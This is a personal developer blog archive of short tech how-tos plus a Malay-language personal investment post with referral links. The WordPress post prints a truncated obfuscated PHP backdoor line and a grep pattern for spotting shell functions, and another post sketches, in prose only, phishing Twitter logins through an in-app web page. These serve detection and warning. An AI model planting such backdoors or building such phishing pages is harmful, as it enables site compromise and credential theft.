arzumy md - short notes on small discoveries

Nasihat Pelaburan Untuk Aku Yang Dulu

2021-09-05T00:00:00+00:00

05 September 2021

Sebelum kita mula, penting untuk aku buat penafian dulu. Nasihat ini adalah untuk aku yang dulu, aku yang berumur 20 tahun berdasarkan situasi zaman sekarang. Ini bukan nasihat pelaburan untuk orang lain. Aku tak bertanggungjawab atas segala kerugian kalau kau ikut bulat-bulat nasihat ni. Dan kau kena ingat, matlamat kewangan kita tak sama, status kewangan kita tak sama, toleransi risiko kita tak sama.

Penafian #2, kebanyakan pautan dalam artikel ni ada “referral links”. Kalau kau daftar mana-mana servis dari “referral links” kita sama-sama untung.

Penafian #3, aku ada melabur atau mungkin akan melabur dalam aset-aset yang dinyatakan dalam artikel ni.

Okay, kita boleh mulakan.

Masa aku dapat kerja yang pertama, gaji aku adalah RM 1,200. Memang masa tu rasa macam banyak, sebab kawan-kawan masih belajar. Tapi aku dah ada pendapatan sendiri. Sayangnya aku tak pernah ambil tahu tentang pengurusan kewangan, jadi semua yang aku dapat habis aku belanja.

Sebagai anak Bumiputra, semua orang cakap duit simpan dalam ASB. Tapi kalau aku memang jenis yang tak pernah menyimpan duit, bagi aku ini bukanlah nasihat yang bernas. Sebab, dividen ASB setahun sekali. Lama sangat nak tunggu baru nampak hasil. Budak-budak darah muda mana ada masa nak tunggu setahun.

Jadi nasihat aku pada aku, lupakan dulu ASB. Kita cari pelaburan yang kita boleh nampak hasilnya dalam masa terdekat. Bila dah nampak hasil, barulah kita bersemangat nak tambah pelaburan.

Strategi Pelaburan

Mula-mula kita akan ambil 10% dari gaji untuk dilaburkan. RM 120 sebulan selama satu tahun, bila masuk tahun kedua, kita tambah lagi 5% dari jumlah pelaburan. RM 120 + 5% = RM 126. Tahun ketiga, tambah lagi 5% jadi RM 126 + 5% = RM 132.30. Jadi setiap tahun kita tambah 5%.

Kalau kita konsisten, selepas 20 tahun, dengan purata keuntungan 5% setiap tahun, kita akan ada dalam RM 75,000. Tak nampak banyak. Tapi itu bukan matlamat kita. Sekarang yang paling penting adalah untuk kita bina tabiat baru. Untuk bina tabiat baru, kita kena bagi mudah.

Gaji kita akan naik setiap tahun. Jumlah pelaburan kita pun akan naik. Gaji aku naik jadi RM 2,400 dalam masa kurang dari 2 tahun. Jadi aku boleh laburkan RM 240 sebulan. Kita dah boleh dapat RM 125,000 selepas 18 tahun. Terus dekat dua kali ganda jumlah pelaburan kita.

Jadi kalau bukan ASB, dekat mana patut aku buat pelaburan? Kita boleh mula dengan “roboadvisor” dulu.

Stashaway

Ada banyak “roboadvisor” sekarang, aku cadangkan Stashaway (boleh daftar di https://www.stashaway.my/referrals/mdan2vk). Kenapa Stashaway? Kenapa bukan yang lain? Tak ada sebab tertentu pun. Aku sekarang pakai Stashaway, itu saja.

Bila kita melabur dalam Stashaway, senang kita nak tengok kadar keuntungan (atau kerugian). Ingat, matlamat kita tadi ada untuk bina tabiat melabur. Mungkin keuntungan dia nampak sedikit, tapi itu bukan masalah. Asalkan kita ada nampak hasil dari pelaburan kita. Barulah kita bersemangat nak melabur secara konsisten.

Kita akan gunakan fungsi “recurring deposit” untuk memudahkan pelaburan kita. Kita tetapkan matlamat kita untuk dapat RM 1,000 dalam akaun Stashaway.

Tabung Kecemasan

Sekarang kita dah ada RM 1,000, kita boleh mulakan simpanan untuk tabung kecemasan. Tabung kecemasan ini penting sebab kita tak tahu bila kita perlukan duit. Buat masa ini kita tetapkan jumlah tabung kecemasan adalah RM 1,200. Sama dengan gaji sebulan.

Untuk tabung kecemasan kita akan simpan dalam ASB. Sekarang dah senang, boleh buat di https://www.myasnb.com.my/. Kalau perlukan duit pun kita boleh keluarkan melalui myASNB.

Jadi buat masa sekarang, kita hentikan “recurring deposit” ke Stashaway dan simpan bulanan di ASB sampai cukup RM 1,200. Bila gaji dah naik ke RM 2,400, kita tambah lagi pelaburan ASB sampai RM 2,400.

Dan yang sebaiknya, kita ada 3 bulan gaji dalam ASB.

Duit Kecemasan

Kalau boleh, bila ada kecemasan, kita tak perlu keluarkan dari tabung kecemasan. Atau mungkin kecemasan berlaku di hujung minggu, kita tak dapat nak keluarkan dari ASB. Masa ini aku harap gaji kita dah cukup untuk memohon kad kredit. Kita boleh gunakan kad kredit jika berlaku kecemasan.

Tapi kalau kita perlukan wang tunai untuk kecemasan, jangan buat “cash advance”. Kita boleh mohon kad debit BigPay, topup BigPay pakai kad kredit dan keluarkan tunai dari BigPay. (Boleh daftar di http://bigpay.link/referrals?referralcode=WBYXMGJ9NA).

Bila dah boleh keluarkan tunai dari ASB, kita terus bayar balik kad kredit. Jangan tunggu.

Dollar Cost Averaging

Bila dah cukup tabung kecemasan, kita boleh mula mempelbagaikan portfolio pelaburan kita. Untuk ini kita kena faham konsep Dollar-Cost Averaging (“DCA”). Senang cerita dengan DCA kita melabur pada masa yang tetap tanpa mengira keadaan pasaran atau harga. Ini dapat mengurang impak ke atas pelaburan kita. Dan juga dapat memastikan tabiat melabur kita berterusan.

Pendek kata, jangan menggatal nak “time the market”, melabur secara konsisten untuk jangka panjang.

Luno

Kita mulakan dengan kripto. (boleh daftar di https://www.luno.com/invite/DXJHPF). Kita boleh ambil 10% dari jumlah pelaburan bulanan kita untuk kripto. Tak kisahlah orang percaya atau tidak, yang penting memang ada duit dalam kripto.

Kita guna DCA untuk labur secara konsisten setiap minggu kalau boleh, kalau tak boleh kita buat setiap bulan. Laburkan dalam BTC adalah wajib. Selebihnya boleh labur dalam ETH dan ADA. Tak perlu banyak-banyak, untuk jangka masa panjang kita “hodl” tiga kripto saja.

HelloGold

Kemudian kita boleh tambah komoditi emas dalam portfolio. Paling mudah kita pakai HelloGold (boleh daftar di https://referral.hellogold.com/?ref=ARZU95BT).

Emas tak payah nak cerita banyak, dari dulu lagi orang dah menyimpan emas. Untung atau rugi ikut masa bila kita beli dan jual. Jadi teruskan dengan DCA. Boleh simpan dalam 5% atau 10% sebulan.

moomoo

Ini cerita dia panjang sikit. moomoo memudahkan kita untuk melabur dalam pasaran US. Aku tak galakkan beli saham syarikat US dalam moomoo sebab mungkin duit kita tak cukup nak beli satu unit saham. Fokus moomoo adalah untuk melabur dalam Index Fund atau ETF. Dengan Indeks Fund kita tak perlu nak pilih mana-mana syarikat, sebaliknya kita dapat melabur dalam semua syarikat S&P 500 di US atau sebahagian kategori syarikat yang tersenarai dalam ETF.

Kita boleh mula dengan VOO untuk semua syarikat S&P 500, dan ARKK untuk syarikat dalam kategori teknologi.

Cuma untuk mendaftar moomoo ni leceh sikit. Kita kena ada bank akaun di Singapura (boleh daftar di https://j.moomoo.com/007mcM, moomoo selalu hadiahkan saham percuma, sekarang boleh dapat saham Apple). Tak susah cuma banyak kerja. Paling senang kita pakai CIMB FastSaver di Singapura. Pendaftaran secara online. Hanya perlu akaun CIMB di Malaysia. Untuk penghantaran duit ke akaun Singapura, kita boleh pakai Wise untuk mengurangkan yuran pemindahan (boleh daftar di https://wise.com/invite/u/arzumyb)

eToro

Sekarang kita mungkin dah ada pengalaman pelaburan. Kita boleh cuba untuk membeli saham syarikat US yang mungkin akan memberi keuntungan lebih. Aku hanya melabur dalam syarikat yang aku kenal dan aku guna servis mereka. Tapi kebanyakan saham mereka mahal. Jadi kita akan pakai eToro (boleh daftar di https://etoro.tw/3BJbwpF) sebab dengan eToro kita boleh membeli pecahan saham.

Contoh, saham Apple sekarang adalah RM 600, tapi kita hanya mampu melaburkan RM 200. Dengan eToro kita boleh beli 1/3 saham Apple pada harga RM 200. Dan kita akan beroleh keuntungan kalau harga saham Apple meningkat.

Penutup

Cukup sampai sini dulu. Kita kena ingat, tak kisahlah mana-mana aplikasi yang kita pakai, paling utama adalah untuk kita membina tabiat melabur. Kedua, fikir jangka masa panjang, emosi kita jangan terkesan dengan turun naik pasaran saham. 20 tahun rasa macam lama, tapi bila kita dah berumur 40 tahun nanti kita rasa sekejap saja dah 20 tahun.

Throw your resume away, kid.

2016-01-28T00:00:00+00:00

28 January 2016

Okay kid, the fastest way to get an internship with KFit Product and Engineering team is to build something. Forget whatever they teach you about resume. Show us what you’ve built over the weekend. Remember that one time you did a neat hack and almost got into trouble? Tell us that story.

I heard you do freelance gigs? Then show it to me. Remember that one time where you sneaked into that Intro to Programming test? Just so you can help your struggling non-techie friends? Or the semester where they banned you from the hostel? Because they don’t know how to stop you from running freely on their network?

I want to hear all about it. Tell it with pride, kid. And throw your resume away.

http://careers.kfit.com/

Lessons Learned From My First Week In Silicon Valley

2014-11-08T00:00:00+00:00

08 November 2014

One thing that’s obvious Silicon Valley is how easy it is to network. “Business is all about who you know” - right. It is so easy to get a meeting with almost anyone here. It just takes one cold request to become friends with strangers. People willing to spend their time meeting new people. They are ready to help. Just don’t be an asshole.

Dave McClure said it best - “For an ecosystem to work, we need enough people to believe in it.” Everywhere you go you’ll overhear conversations related to the ecosystem. People here talking about companies as long term investment. The fact that everyone willing to help each other out with no hidden agenda proved this. It’s like when a company focuses on employee personal growth, the company will grow. When you help someone in the ecosystem to grow, the ecosystem will grow. When the ecosystem grows stronger, everybody earns their reward.

So here’s my call to Malaysians. We just need to do two things for the ecosystem to grow.

First, we always help each other out. Don’t deny a request for help. Make yourself available to others. It doesn’t matter if you already made it. Or you’ve failed many times and haven’t cracked it yet. Or if you just a starting up. Heck, if you have to, give advice to your competitor. Spread the wisdom.

Secondly, we always believe in the ecosystem. Regardless of what people say about Malaysia’s ecosystem. No matter what restriction we might have. We will keep building great companies. We’ll keep growing great talents. Because we know entrepreneurs are a unique breed. We thrive in the restrictive environment.

We’ve seen the success stories, we are seeing money flowing in. It is working. Let’s keep hacking at it!

[SOLVED] SHOW databases; ERROR 1018 (HY000)- Can't read dir of '.' (errno- 13)

2013-10-16T00:00:00+00:00

16 October 2013

We recently migrated our database to new server. The server packed with SSD, which is sweet :) We used Percona XtraBackup to take a live backup of the database, copied it over to new server and sync back to current database using master-slave replication.

To take advantage of SSD, we’ve configured MySQL to store data in SSD instead of default location. We’ve edited /etc/mysql/my.cnf with this value datadir = /example_ssd_partition/mysql/data. Everything went fine until I ran SHOW databases command. I got this error:

  SHOW databases;
  ERROR 1018 (HY000): Can't read dir of '.' (errno: 13)

I searched the error message and it yielded bunch of similiar results. The common theme is permission error. Here’s one of many results telling it’s a permission problem and I just need to chown and chmod the directory. I did that and triple confirmed everything belongs to mysql user. But I still can’t SHOW databases. In fact, everything that require a query to information_schema will raise Can't read dir of '.' error.

Here’s the gotcha: Ubuntu comes with AppArmor. AppArmor’s security model is to bind access control attributes to programs rather than to users. In my /etc/apparmor.d/usr.sbin.mysqld file I’ve made these changes:

  ...
  # Disable these two lines
  /var/lib/mysql/ r,
  /var/lib/mysql/** rwk,

  # Added these two lines
  /example_ssd_partition/mysql/data r,
  /example_ssd_partition/mysql/data/** rwk,
  ...

While it seems correct, there’s actually a typo in /example_ssd_partition/mysql/data r,, it should be /example_ssd_partition/mysql/data/ r, instead. I missed out a forward slash after /example_ssd_partition/mysql/data. Because of that, while everything in /example_ssd_partition/mysql/data/ owned by mysql user, the program itself has no access to the content of the directory. I’ve changed it to:

  ...
  /example_ssd_partition/mysql/data/ r,
  /example_ssd_partition/mysql/data/** rwk,
  ...

A quick AppArmor restart and now I can view all databases again!

How To Test ActionMailer With RSpec And shoulda-matchers

2013-09-27T00:00:00+00:00

27 September 2013

Today I upgraded shoulda-matchers gem from version 1.4.2 to 2.4.0. shoulda-matchers is a bunch of one-liners to test Rails functionality and compatible with RSpec. My spec suite broken after the upgrade. This post is a walkthrough about the changes I had to make to fix my spec suite.

In version 1.4.2, I added these lines in spec/spec_helper.rb.

  require 'shoulda-matchers'
  include Shoulda::Matchers::ActionMailer

After upgrade, I got this error:

  uninitialized constant Shoulda::Matchers::ActionMailer (NameError)

A quick peek at the source shows the error is right (because your know, error messages could lie to you), ActionMailer matchers not included in shoulda-matchers anymore. I can have the same functionalities in Mail itself. Read more from Using Mail with Testing or Spec’ing Libraries.

Now, I just need to replace include Shoulda::Matchers::ActionMailer with include Mail::Matchers. Because the matchers directly copied from shoulda-matchers, no further change needed.

Workaround For Long Running Local Task In Capistrano Deployment

2013-05-10T00:00:00+00:00

10 May 2013

All our assets in SAYS.com are hosted in Amazon S3 and served by Amazon CloudFront. The outbound traffic for these files are too high, we ended up hitting our servers’ bandwidth limit sooner that expected. By off loading the files to Amazon, bandwidth no longer a candidate to performance bottleneck.

Our Capistrano deployment now includes new tasks: compiles assets locally, syncs to S3 bucket and uploads manifest.yml to all our servers. It works fine most of times, except once in while we’ll get random IOError after assets compiling. Then that ‘once in a while’ error becomes ‘often’, then it becomes ‘most of the time’. Something’s wrong, definitely.

We later determined that the error was caused by SSH connections to the servers dropped due to long idle time while waiting for local assets precompile. We toyed around SSH configurations i.e. increase idle time, time to live etc. But those are just guess works because we can’t tell for sure how long assets precompile will take. Of course for now we can average out the compiling time, but in the future it might take longer.

What we are doing now is to kill those connections after assets precompile, and let capistrano creates new connections. We just include this line after local assets precompile:

	teardown_connections_to(sessions.keys)

Works like charm! One might argue that the deployment will be a bit slower because we need to reestablish SSH connection, we are completely fine with it. The benefit is better than the downside.

How To Show Highchart's Tooltip On Load

2013-01-08T00:00:00+00:00

08 January 2013

In Malaysia Twitter Political Index, I didn’t show legend for the chart because it is ugly. And I don’t feel like I want to make an effort to style it. Plus, when you hover on the chart, it will show tooltip with details. So I figured, there’s no need for legend.

But, not everyone will hover. They will get confused. I looked at Twitter Political Index, no legend too, instead it just shows the tooltip, I decided to do the same.

It’s not hard to figure out, all I had to do was google for it :P I found my answer in this forum (or you can fiddle it here).

I just need to loop the series to get to the last point and refresh tooltip with the points.

chart = new Highcharts.Chart({
  chart: {...},
  credits: {...},
  title: {...},
  xAxis: {...},
  yAxis: {...},
  tooltip: {...},
  legend: {...},
  plotOptions: {...},
  series:{...}}, function(chart){
    // Last point in graph...
    var points=[];
    if(chart)
    {
      for(var i=0;i<chart.series.length;i++)
      points.push(chart.series[i].points[chart.series[i].points.length-1]);
      chart.tooltip.refresh(points);
    }
});

How To Really Customize The "Deprecated" Facebook's sharer.php

2013-01-05T00:00:00+00:00

05 January 2013

Facebook Share button, or commonly known as sharer.php is the easiest way to share link on Facebook. It was initially deprecated in favour of the Like button while still keeping the documentation up for reference on https://developers.facebook.com/docs/share/. Now it is fully replaced by Feed Dialog. Facebook Share button no longer officially supported by Facebook. But it still functional and used by many all over the Internet.

It is easy to use. You don’t need an App ID, and you don’t need to include any Facebook dependencies. But because it is not supported and documented, you are bound to be surprised by any changes made by Facebook.

In my case, I want to include sharer.php on Malaysia Twitter Political Index. I want the user to be able to share it on Facebook, and I want to customize the title on daily basis. Previously you can just do this:

http://www.facebook.com/sharer.php?u=http://bit.ly/myelection&t=Here's my customized title

But when I did that, I noticed Facebook no longer honour t parameter.

I could dynamically generate customized og tag, but due to Facebook caching mechanism there’s almost no point of doing that. A quick search led me to ‘How to pass custom parameters to a Facebook-”Share”-button’. That page listed down 4 undocumented params that can be used to customize the share page. Here’s my new link:

http://www.facebook.com/sharer.php?s=100
&p[url]=http://bit.ly/myelection
&p[images][0]=http://election.gv.my/assets/vote.png
&p[title]=My customized title
&p[summary]=My customized summary

I assume you can add more image with p[images][1] to p[images][n]. I didn’t test it out.

Let’s test it out on this blog.

# With t paramater only
<a href="http://www.facebook.com/sharer.php?u=http://ar.zu.my&t=Rock on Arzumy!">Share</a>
  
# With everything
<a href="http://www.facebook.com/sharer.php?s=100
&p[url]=http://ar.zu.my
&p[images][0]=http://www.gravatar.com/avatar/2f8ec4a9ad7a39534f764d749e001046.png
&p[title]=Rock on Arzumy!
&p[summary]=In this blog, Arzumy will teach you how to rock!>Customized Share</a>

Share Customized Share

Go ahead test it out :)

How To Save Cost On Your Heroku Worker Dynos

2012-12-30T00:00:00+00:00

30 December 2012

On Malaysia Twitter Political Index project, I’m using delayed job extensively. I used it to pull tweets, query sentiments and update sentiments. These jobs created every 10 minutes by Heroku Scheduler, Heroku’s answer to traditional cron job.

These jobs took about 2 or 3 minutes to finish. While waiting for the next cron job, worker dyno are idle for 7 or 8 minutes. I don’t like it because I have to pay for it!

I’m in luck because Heroku provides a ruby client gem to interact with Heroku API. With this gem, we can easily start or stop dynos from within the app itself. There are few ways we can leverage on this, I chose to create rake task that will spin the dyno up and down. Then let Heroku Scheduler run it in specific intervals.

  # lib/tasks/heroku.rake
  
  namespace :dynos do
    desc 'up worker'
    task up: :environment do
      unless Delayed::Job.count.zero?
        heroku = Heroku::API.new(:api_key => ENV['API_KEY'])
        heroku.post_ps_scale(ENV['APP_NAME'], 'worker', '1')
      end
    end

    desc 'down worker'
    task down: :environment do
      if Delayed::Job.where(last_error: nil).count.zero?
        heroku = Heroku::API.new(:api_key => ENV['API_KEY'])
        heroku.post_ps_scale(ENV['APP_NAME'], 'worker', '0')
      end
    end
  end

I scheduled rake dynos:up to run immediately after all those sentiments job created, and scheduled rake dynos:down 3 minutes after that. Dyno will only spin up if there’s job, and will spin down if there’s no more pending jobs. Of course if you really want to push it, you can schedule it to run every minute just be sure.

If you look at heroku.post_ps_scale(ENV['APP_NAME'], 'worker', '0'), you can see that I assigned my app name to APP_NAME config var. I did that because I can’t find a way to programmatically get my app name from Heroku. If you use New Relic addon you could get it from NEW_RELIC_APP_NAME, but I feel more comfortable setting it myself.

Now I managed to save around 70% of my estimated monthly dyno cost. If you want to go gung ho with it, potentially you could add this to Delayed::Job’s after_create and after_delete callbacks. That really depends on the nature of your jobs though.

NOTE: I wrote about ‘How I Use Two Dynos On heroku For Free’ but I like Heroku API way better than using separate app to run worker. Less moving pieces to maintain.

How To Store Private Key Files In Heroku

2012-12-29T00:00:00+00:00

29 December 2012

In my latest project, Malaysia Twitter Political Index, I used Google Prediction API and hosted it on Heroku. To use Google API, you have to create Client ID to authenticate with the endpoints. Since I’m calling the API directly from the server, not end user, I have to create Service Accounts client ID.

Google generated a key pair for me. I then downloaded the private key and I would use it in my app. The key is formatted with PKCS #12.

I used google-api-ruby-client gem, here’s the example to authenticate:

  require 'google/api_client'
  client = Google::APIClient.new
  key = Google::APIClient::PKCS12.load_key('/path/to/key.p12', 'notasecret') # this is where you load the key
  service_account = Google::APIClient::JWTAsserter.new(
      '123456-abcdef@developer.gserviceaccount.com',
      'https://www.googleapis.com/auth/prediction',
      key)
  client.authorization = service_account.authorize

That worked well in development environment. To make it work in Heroku deployment, I had few options:

Include the private key in my git repository.
Store it in S3, and pull it when needed.
Use custom build-pack which will include the key.
Store it as config vars.

Option 1 is the easiest. But maybe not ideal. While it’s true that I’m the only one working on the project, I wouldn’t know if others might join in any time in the future.

Option 2 and 3 seems like a lot of unnecessary moving pieces involves.

Option 4 is ideal in this scenario. I’m already storing all sensitive information in config vars anyway. Now how would I do that?

I know config vars are string. So I took a peek at the .p12 file.

  cat example.p12
  => ??0?0?c0?(??   *?H??
  *?H??

  ???0??0(
  ...

Bunch of jumbled up stuff. Ok, but PKCS #12 is just a format, maybe I can store the key in different format? I took a look back at the code and inspected what returned by Google::APIClient::PKCS12.load_key.

  require 'google/api_client'
  key = Google::APIClient::PKCS12.load_key('/path/to/key.p12', 'notasecret') 
  => -----BEGIN RSA PRIVATE KEY-----
  MMMMMMMMaaaaaammmmammamamammamaasdhkghkdahgj8234joihsdfJHHKJGHGG
  ...
  -----END RSA PRIVATE KEY-----
  
  key.class
  => OpenSSL::PKey::RSA

Alright, that’s something that I recognized. It was OpenSSL::PKey::RSA and returned a string. Let’s try load it directly instead of using Google::APIClient::PKCS12.load_key.

  require 'google/api_client'
  client = Google::APIClient.new
  private_key = "-----BEGIN RSA PRIVATE KEY-----
  MMMMMMMMaaaaaammmmammamamammamaasdhkghkdahgj8234joihsdfJHHKJGHGG
  ...
  -----END RSA PRIVATE KEY-----"
  key = OpenSSL::PKey::RSA.new private_key_, 'notasecret'
  service_account = Google::APIClient::JWTAsserter.new(
      '123456-abcdef@developer.gserviceaccount.com',
      'https://www.googleapis.com/auth/prediction',
      key)
  client.authorization = service_account.authorize

And we are good! Now instead of storing .p12 file, I’d store that instead. Heroku config vars support multiline string. I just had to double quote it.

  heroku config:add PRIVATE_KEY="-----BEGIN RSA PRIVATE KEY-----
  MMMMMMMMaaaaaammmmammamamammamaasdhkghkdahgj8234joihsdfJHHKJGHGG
  ...
  -----END RSA PRIVATE KEY-----"

I make sure I passed the config var when I load the key.

  key = OpenSSL::PKey::RSA.new ENV["PRIVATE_KEY"], 'notasecret'

That’s how you store private key in Heroku.

assets:precompile Failure On Heroku

2012-12-27T00:00:00+00:00

27 December 2012

This issue always caught me off guard when deploying new app on Heroku. The root cause is simple, assets:precompile requires the app’s environment to be loaded. But because it runs during slug compilation, no config vars available to the app yet. That’s why you’ll get error like this:

could not connect to server: Connection refused
Is the server running on host "127.0.0.1" and accepting
TCP/IP connections on port xxxx?

App trying to connect to database but DATABASE_URL var not correctly set yet.

The simplest solution is to tell the app to not initialize when we are compiling the assets. Add this line:

  # config/application.rb

  config.assets.initialize_on_precompile = false

That should do it.

Back then we were able to use user-env-compile feature from Heroku Labs but it is no longer available. user-env-compile exposes your config vars during slug compilation. You can read about it here https://devcenter.heroku.com/articles/labs-user-env-compile.

Why Some Rake Tasks Require :environment

2012-12-19T00:00:00+00:00

19 December 2012

If you look at lib/tasks directory in your Rails app, you probably will find few .rake files. Those files allow you to run custom rake command like rake name:print:random_stuff.

If you look at those files, you might find that some of them look like this:

  task :print_username => :environment do
    puts User.first.name
  end

While some:

  task :print_random do
    puts 'random random random'
  end

With :environment your task will run will full Rails environment loaded. That’s why you can do User.first.name if you have a User model. If you do it this way:

  task :print_username do
    puts User.first.name
  end

Then execute the task:

  rake print_username
  => uninitialized constant User

I tend to forget to include :environment then smack my head when I see the uninitialized constant error.

Depending on what you want to do, you should choose to load environment or not, accordingly.

How To Quickly Change All Your Remote Git Repos URL

2012-12-18T00:00:00+00:00

18 December 2012

At SAYS we hosted all our repo in GitHub. It must have been 4 5 years now. We’ve changed our domain few times now, to better reflect our company. But we never bothered to change our organization name in GitHub. So until today it is in [https://github.com/youthasia] (https://github.com/youthasia).

Today I decided to update our details in GitHub and while I am at it, change the name to SAYS. So I did just that knowing that we can’t sync our local repos until we change the URL in our local machine.

Because we have quite a lot of repos, changing them one by one didn’t make much sense. This is what I did.

I have a directory called workspace where I store all the repos.

- workspace
  \_ repo_one
  \_ repo_two
  \_ repo_three
  ....

I want to look for .git/config and change the URL in these lines:

[remote "origin"]
	fetch = +refs/heads/*:refs/remotes/origin/*
	url = git@github.com:youthasia/example.git # Change youthasia to says

I did this:

  cd workspace
  for i in `find . -name config` ; do sed -i.back s/git@github\.com:youthasia/git@github\.com:says/g $i; done;

What I did was to change to workspace directory, find all config, sed will create backup file, change youthasia to says and save it. Now we can sync back with GitHub.

How To Add Footnote In Markdown

2012-12-17T00:00:00+00:00

17 December 2012

I wrote my posts in Markdown. You can pull my blog from https://github.com/arzumy/arzumy.github.com and have a look.

I used footnote in these two posts:

This is a footnote¹. Go ahead click it.

Here’s how we did that:

This is a footnote[^fn-sample] 
[^fn-sample]: Now I gotta cut loose. Footloose, kick off the Sunday shoes. Click this to go back up >>

All you need is to have [^anchor_name_here] for the link and [^anchor_name_here]: for the footnote. The key is to start with [^]. Ideally since it’s a footnote, you should place [^anchor_name_here]: on the bottom. But hey, entirely up to you! With this syntax, you’ll get <sup></sup> tag for free with link to the anchor and running numbers for all footnotes on the same page.

I intentionally left a blank space here so you can test the link and actually move from the number to footnote back and forth.

Now I gotta cut loose. Footloose, kick off the Sunday shoes. Click this to go back up » ↩

How To Steal Twitter Password

2012-12-16T00:00:00+00:00

16 December 2012

Difficulty level maybe a bit high, but it’s doable.

Recently I’ve been using Lift to start new habit. I like it because it is not annoying compared to other apps out there. It just passively waits there tracking your habit.

After using it for few days, I figured I’d like to connect my Twitter account. There’s nothing much you could achieve by doing that, it will pull your avatar and that’s about it. I can’t justify why would I want to connect my Twitter account. But I went ahead and clicked Connect to Twitter anyway.

I got redirected to this screen:

What’s wrong with this page? There’s no way I can verify that the page I’m seeing is a real Twitter auth page. It could be a phishing page made to steal my login credentials.

Since this page is loaded in a web wrapper, you can create a fake Twitter auth page and store the login credentials when submitted. Then, redirect them back again to the real Twitter page. Unsuspecting victim will just try to login again. Because no one can see the URL, they won’t know.

Maybe it’s a bit hard to pull on legitimate app distributed through Apple App Store. But if you are distributing the app through other unofficial channels, you can pull this of quite easily.

NOTE: Lift allows you to connect your Twitter account from web, http://lift.do/login. That’s a better option and signs that you can trust the app. I’m not implying that Lift is stealing your password. I’m using it as example because I stumbled upon it.

Simple Array In YAML

2012-12-14T00:00:00+00:00

14 December 2012

I’m so used to load .yml file to hash that I’ve forgotten .yml can just load directly to array. In fact, that’s like the most basic way of doing this.

This is how I normally create my .yml.

  # test.yml
  
  sample:
    first_test: one
    second_test: two

That will give me a hash.

  require 'yaml'
  Yaml.load_file('test.yml')
  => {"sample"=>{"first_test"=>"one", "second_test"=>"two"}}

In my mind, that’s the default way of doing things. Few days back I decided to include all my previous talks and interviews in my site. You can see how I started in this commit. Take a close look at my index.html file.

  <li>
    <span class="label label-info">12 Jan 2012</span> <a href="http://bfm.my/lifehacks.html">BFM 89.9: The Business Station - Lifehacks</a>
  </li>
  <li>
    <span class="label label-info">28 Sep 2011</span> <a href="http://www.bfm.my/techtalk_hackweekday2011.html">BFM 89.9: The Business Station - HackWEEKDAY 2011</a>
  </li>
  <li>
    <span class="label label-info">01 Sep 2005</span> <a href="http://www.nib.com.my/archives/text/view/9426915?pos=3&hide_header=1&resultset=nstpec%3Awww/cross-search/search.php%3A_1355414435%3Aresultset">New Straits Times: Computimes - Hacking competition winners</a>
  </li>

While this worked, I started to see pattern emerged. I have the same list for talks as well. I’ll have to repeat the same li over and over again. Maybe it would be better if I could store my interviews and talks in a collection and just loop it here instead. Configuration for this site stored in _config.yml, so seems like it would make sense if I store my interviews and talks there too.

My problem was, how do I store them in an array? I checkout yaml.org and the first example for ruby is simple sequence list. List without key. That works really well. Example:

  # test.yml
  
  sample:
    - one
    - two

That will give me hash with sample as the key, and an array of one, two.

  require 'yaml'
  Yaml.load_file('test.yml')
  => {"sample"=>["one", "two"]}

With that knowledge, I made this commit and now I can use for loop in my index.html for talks and interviews.

  {% for interview in site.content.interviews %}
    <li>
      <span class="label label-info">{{ interview.date }}</span> <a href="{{ interview.url }}">{{ interview.title }}</a>
    </li>
  {% endfor %}

Much better!

How To Make Sure Your Free Wordpress Theme Is Safe From Virus

2012-12-07T00:00:00+00:00

07 December 2012

I helped a friend cleaning up his Wordpress installation from viruses today. Hosting provider emailed and pointed us to the exact files with virus. I’m using virus term loosely, they were actually PHP backdoor shells.

I don’t use Wordpress that much. I think I have few installations here and there, mostly left forgotten. So today I got to learn about basic safety when dealing with Wordpress.

Keep your Wordpress up-to-date. There’s almost no reason why you won’t or can’t upgrade. Updating Wordpress installation is so easy now, just a single click.

Majority of free Wordpress themes are infected with some sort of backdoor, or maybe just simple affiliate links. Clean free themes are hard to come by. If you want free theme, get them from trusted source. I would trust themes in Wordpress.org itself. Just search and install within Wordpress. I don’t know any other free themes sites that I could trust.

If you really have to use free theme, then you have to take a little precaution. One thing that we did is to install Theme Authenticity Checker (TAC) plugin. It would scan for obfuscated code. There’s no reason why theme creators want to obfuscate the code unless they are hiding something.

You could also scan the compressed theme file after downloading. Maybe that would help. I don’t know because I’m using OSX, and OSX users are not known for using antivirus software. But we have terminal though. We could do this:

  unzip -d freetheme freetheme.zip
  cd freetheme
  grep -Rn "base64_decode *(" .
  => ./footer.php:1:<? eval(gzinflate(str_rot13(base64_decode('FZfHDoTYFVF/xTuPxYKccXtTx...

From the grep result we could see there’s a base64 encoded string. Not a good sign. If you just want to be safe, just delete and don’t use it.

To cover more bases, I found this command from The Official ROOTCON Blog.

  grep -RPn "(passthru|shell_exec|system|phpinfo|base64_decode|chmod|mkdir|fopen|fclose|readfile|php_uname|eval|tcpflood|udpflood|edoced_46esab) *\(" .

How To Work Faster With Chrome Developer Console

2012-12-04T00:00:00+00:00

04 December 2012

Web developer spent considerable amount of time working on browser console. You could be working mostly on Firefox Firebug or Chrome Developer Console. It’s good to learn a trick or two to speed up development.

I learned this from Egor Homakov. We were smoking shisha when he decided to pull out his machine and get some work done. And while he was at it, he showed us few tricks.

The first one was $0. The command will return the most recently selected node to console. You just have to go to Elements, click on a node and type $0 in console. You can also type $1 to return the previously selected element. Then $2 and so on.

If you’ve been a good developer and bothered to check https://developers.google.com/chrome-developer-tools/docs/console then you’ve probably already noticed this. I have never been to that page until today.

But, he did show something else too. $_ to get the last returned value in console. Similar to _ in irb.

  > 2 + 2
  => 4
  > var b = $_
  => undefined
  > b
  => 4

And that one wasn’t documented in https://developers.google.com/chrome-developer-tools/docs/console yet. Not supported by Firebug’s Command Line API too.

How To Watch Almost All Live Sports In The World Online

2012-12-01T00:00:00+00:00

01 December 2012

AFF Suzuki Cup 2012 campaign is well underway right now. Being one of the avid supporters of Harimau Malaya since Suzuki Cup 2010 (yes, I didn’t care much about them before this), it is a must to follow every match. That evening, Malaysia vs. Indonesia. And I was going to watch it from a place where the only live channel available is through Unifi HyppTV.

Which is fine most of the time. HyppTV is not that bad.

Except it was dreadful that night. HyppTV was down. Nationwide!

Naturally, the immediate thing to do was to go to RMT TV1 and see if they have online streaming. They do! Great! But it was buffering 99% of the time. Maybe all HyppTV users were on that page. Then there was 1Malaysia IPTV, it comes with iPhone and iPad app. But as expected for services that leeching on 1Malaysia brand, doesn’t work. It pulls the same source from RTM TV1 online, and the app crashed every time you want to view the channel.

